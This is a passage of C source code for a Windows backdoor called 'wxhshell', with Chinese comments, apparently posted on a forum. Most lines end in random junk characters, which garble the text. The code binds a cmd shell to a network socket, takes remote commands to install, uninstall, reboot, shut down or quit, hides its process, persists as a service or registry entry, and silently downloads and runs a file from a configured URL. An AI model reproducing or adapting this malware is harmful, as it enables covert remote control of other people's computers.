  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )EYsqj  
  else %Yg;s'F>#q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j=)Cyg3_%  
  } (}fbs/8\p  
  else { $jb0/  
N:!XtYA<  
    switch(cmd[0]) { BJk:h-m [  
  J p.Sow  
  // 帮助 jMUE&/k  
  case '?': { Wxg,y{(`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Eo\# *Cv*  
    break; xDu11W+g  
  } f)q\RJA)X  
  // 安装 =y8HOT}8  
  case 'i': { ^>uzMR!q5  
    if(Install()) +15j^ Az  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h:(Jes2  
    else !arcQ:T@G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YWeEvo(,=  
    break; +~=>72/r  
    } p 8BAan3  
  // 卸载 FyYQ4ov0&o  
  case 'r': { )1O *~%  
    if(Uninstall()) __c:$7B/4U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |v8>22y  
    else 9u1)Kr=e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TH/!z,( >  
    break; &-+qB >SK>  
    } 5oplV(<?*S  
  // 显示 wxhshell 所在路径 EuqmA7s8A  
  case 'p': { ~)D2U:"^xm  
    char svExeFile[MAX_PATH]; C81+nR  
    strcpy(svExeFile,"\n\r"); ;)[RG\  
      strcat(svExeFile,ExeFile); bvn?wK   
        send(wsh,svExeFile,strlen(svExeFile),0); E$/`7p8)  
    break; 3=) /-l  
    } z-uJ+SA  
  // 重启 zzuDI_,/  
  case 'b': { B4R!V!Z*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'g#Ml`cm  
    if(Boot(REBOOT)) fyx-VXu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TQ" [2cY  
    else { AynWs5|z=  
    closesocket(wsh); %p"x|e  
    ExitThread(0); '/SMqmi  
    } SxC$EQ gL  
    break; $I-$X?  
    } ExI?UGT  
  // 关机 3j0/&ON  
  case 'd': { JGf6*D"O  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8nQlmWpJ  
    if(Boot(SHUTDOWN)) a9"x_IVU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  OnF +  
    else { @\Sa)  
    closesocket(wsh); oScHmGFv  
    ExitThread(0); Jd&Qi)1  
    }  b#P ,  
    break; `?rPs8+R  
    } @fT*fv   
  // 获取shell  :q;vZ6Xd  
  case 's': { NaG1j+LN  
    CmdShell(wsh); ZP*Hx %U  
    closesocket(wsh); SS O$.rp  
    ExitThread(0); k\Oy\z@  
    break; ):&A\nb  
  } b0x9}  
  // 退出 Xgd!i}6Q  
  case 'x': { {8Hrb^8!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wlC_rRj~  
    CloseIt(wsh); qDhz|a#  
    break;  }Q`Kg8L  
    } ;f[Ki$7  
  // 离开 6*kY7  
  case 'q': { Mc~(S$FU$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A2uSH@4  
    closesocket(wsh); XV)ej>A-V  
    WSACleanup(); t3 *2Z u  
    exit(1); @= 6}w_  
    break; "f~S3?^!2  
        } TuBg4\V  
  } HV&N(;@  
  } k x6%5%  
R7e`Wn  
  // 提示信息 l:8gCi  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  #It{B  
} Ne@Iv)g?  
  } gx4`pH;B\  
tn6\0_5n  
  return; X82sw>Y  
}  ,L\OhT  
L/<^uO1  
// shell模块句柄 sJ7r9 O`x  
int CmdShell(SOCKET sock) _,NL;66=[  
{ f<uLbJ6  
STARTUPINFO si; <QugV3e  
ZeroMemory(&si,sizeof(si)); mDvZ 1aj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }a"T7y23  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G#N h)ff  
PROCESS_INFORMATION ProcessInfo; -}MWA>an8  
char cmdline[]="cmd"; C:_!zY'z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %xyt4}-)m  
  return 0; aoco'BR F  
} _z)G!_7.>\  
JnmJN1@I  
// 自身启动模式 nC qUg_{D  
int StartFromService(void) X/];*='Q  
{ I &YYw8&  
typedef struct b@Ik c<  
{ OlRBv foh8  
  DWORD ExitStatus; jkFS=eonK  
  DWORD PebBaseAddress; 5sM-E>8G^{  
  DWORD AffinityMask; {LbcG^k  
  DWORD BasePriority; yps7MM-r  
  ULONG UniqueProcessId; 7X2g"2\Wm  
  ULONG InheritedFromUniqueProcessId; S$%T0~PR~  
}   PROCESS_BASIC_INFORMATION; x{Gb4=?l  
Dvo.yn|kB  
PROCNTQSIP NtQueryInformationProcess; -G(z!ed  
O!hg@[\B+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ul?'kuYk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ua,Lg.z  
n9050&_S  
  HANDLE             hProcess; hc"+6xc  
  PROCESS_BASIC_INFORMATION pbi; Um4 }`  
0 4x[@f`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0J7[n*~  
  if(NULL == hInst ) return 0; UVUbxFq:  
$iEM$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DCPK1ql  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ` *&*jdq&i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }C}~)qaZv+  
,1Suq\ L  
  if (!NtQueryInformationProcess) return 0; )V!9&  
X'TQtI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O9r3^y\>I  
  if(!hProcess) return 0; !\}Dxt  
]~U4;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]chcRc[!  
fS>W-  
  CloseHandle(hProcess); W7WHH \L/O  
oR[,?qu@f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ipQJn_:2  
if(hProcess==NULL) return 0; %q;3b fq@N  
R."<he ;  
HMODULE hMod; {[jcT>.3j  
char procName[255]; 5H6m{ng  
unsigned long cbNeeded; 0F1 a  
!<h*\%;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d8C?m*3 J  
zQ(li9  
  CloseHandle(hProcess); AZ(["kh[  
|<\o%89AM  
if(strstr(procName,"services")) return 1; // 以服务启动 6m_Y%&   
' aBX>M  
  return 0; // 注册表启动 `pn]jpW9  
} ua/A &XQx  
ecA:y!N  
// 主模块 g:dw%h  
int StartWxhshell(LPSTR lpCmdLine) "w*VyD  
{ z\pT nteO  
  SOCKET wsl; U?[a@Hj{  
BOOL val=TRUE; }W#Gf.$6C  
  int port=0; kUUN2  
  struct sockaddr_in door; E b-?wzh  
~= lm91W  
  if(wscfg.ws_autoins) Install(); WB'&W=  
-m(9*b{h@  
port=atoi(lpCmdLine); L~"~C(g  
'\(Us^Ug  
if(port<=0) port=wscfg.ws_port; MBIt)d@Ix  
N|O/3:P<,U  
  WSADATA data; N$aLCX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T6=c9f?7  
RI!!?hYm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g;i>nzf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <ap%+(!I  
  door.sin_family = AF_INET; ^o,P>u!9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V k5}d[[l  
  door.sin_port = htons(port); f$Nz).(  
Pp7}|/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I5mnV<QA^  
closesocket(wsl); Wrf('  
return 1; KqG:o+V=  
} J/>Y mi,  
jmxjiJKP  
  if(listen(wsl,2) == INVALID_SOCKET) { btkD<1{g  
closesocket(wsl); E y1mlW  
return 1; y#F( xm+L  
} -8-  
  Wxhshell(wsl); x~j>Lvw L  
  WSACleanup(); s]#D;i8  
hk3}}jc  
return 0; 3BAls+<p o  
q!\K!W\  
} \rn:/  
s$4!?b$tw  
// 以NT服务方式启动 )[|TxXz d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kl4FVZof  
{ @] uvpI!h  
DWORD   status = 0; !f2f gX  
  DWORD   specificError = 0xfffffff; wS-D"\4/  
)s5Q4m!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m Y*JNx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _<yGen-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tV%:sk^d  
  serviceStatus.dwWin32ExitCode     = 0; wb~#=6Y  
  serviceStatus.dwServiceSpecificExitCode = 0; l ~CYxO  
  serviceStatus.dwCheckPoint       = 0; dYrw&gn  
  serviceStatus.dwWaitHint       = 0; -"Wp L2qD  
0-M.>fwZ=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @;_xFL;{g  
  if (hServiceStatusHandle==0) return; K'kWL[Ut!  
.:A9*,  
status = GetLastError(); 8C7$8x] mM  
  if (status!=NO_ERROR) -`sK?*[{J  
{ % 3d59O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xa5^h]o   
    serviceStatus.dwCheckPoint       = 0; i2j_=X-  
    serviceStatus.dwWaitHint       = 0; m^Qc9s#D  
    serviceStatus.dwWin32ExitCode     = status; \2KwF}[m  
    serviceStatus.dwServiceSpecificExitCode = specificError; 48vKUAzx`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S+ gzl#r  
    return; )ZC0/>R  
  } BF{v0Z0/}k  
FBJw (.Jr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZjF5*A8l  
  serviceStatus.dwCheckPoint       = 0; pKJ0+mN#"  
  serviceStatus.dwWaitHint       = 0; :c[iS~ ~Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \CNv,HUm3  
} %$}aWzQxll  
A:Pp;9wl  
// 处理NT服务事件,比如:启动、停止 #\3(rzQVO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _; /onM   
{ ! eXDN  
switch(fdwControl) M6 l S2  
{ M:K5r7Q!yv  
case SERVICE_CONTROL_STOP: Mhp6,JL  
  serviceStatus.dwWin32ExitCode = 0; 3]"RaI4Q0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~iI4v#0  
  serviceStatus.dwCheckPoint   = 0; q;a"M7  
  serviceStatus.dwWaitHint     = 0; YaU)66=u  
  { Ox9WH4E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l&#&}3M  
  } CzDJbvv ]  
  return; 8 -]\C  
case SERVICE_CONTROL_PAUSE: &v9*D`7L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5q4sxY9T  
  break; WX<),u2@  
case SERVICE_CONTROL_CONTINUE: +)YU/41W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zt,pV \|  
  break; hDBVL"  
case SERVICE_CONTROL_INTERROGATE: +PT/pybA  
  break; 6?8x[l*5M  
}; {[&$W8Li  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s[6y|{&ze  
} v3>jXf  
$0+n0*fp  
// 标准应用程序主函数 H{qQ8 j)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7HfA{.|m  
{ L *",4!  
bit@Kv1<C  
// 获取操作系统版本 Tk1U  
OsIsNt=GetOsVer(); 'PiQ|Nnb|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bDK%vx!_  
4'EC(NR7N  
  // 从命令行安装 kq +`.  
  if(strpbrk(lpCmdLine,"iI")) Install(); p+6L qk<  
P(h[QAM  
  // 下载执行文件 ^}Vx5[  
if(wscfg.ws_downexe) { VaKBS/y"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~Psv[b=]  
  WinExec(wscfg.ws_filenam,SW_HIDE); uRIa Nwohv  
} !<'0 GOl  
O$SQzLZx&  
if(!OsIsNt) { CjeAO 2  
// 如果时win9x,隐藏进程并且设置为注册表启动 oMdqg4HUF  
HideProc(); 2x3%*r$  
StartWxhshell(lpCmdLine); '1rHvz`B/"  
} 1:{BC2P  
else =6Z$nc R  
  if(StartFromService()) #>)OLKP  
  // 以服务方式启动 :x*#RnRr.  
  StartServiceCtrlDispatcher(DispatchTable); U42B( ow  
else ? }t[  
  // 普通方式启动 {Ee[rAVGp  
  StartWxhshell(lpCmdLine); lJ y\Ky(*  
A\xvzs.d  
return 0; M{)7C,'  
}
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只看该作者 1 发表于: 2006-10-10
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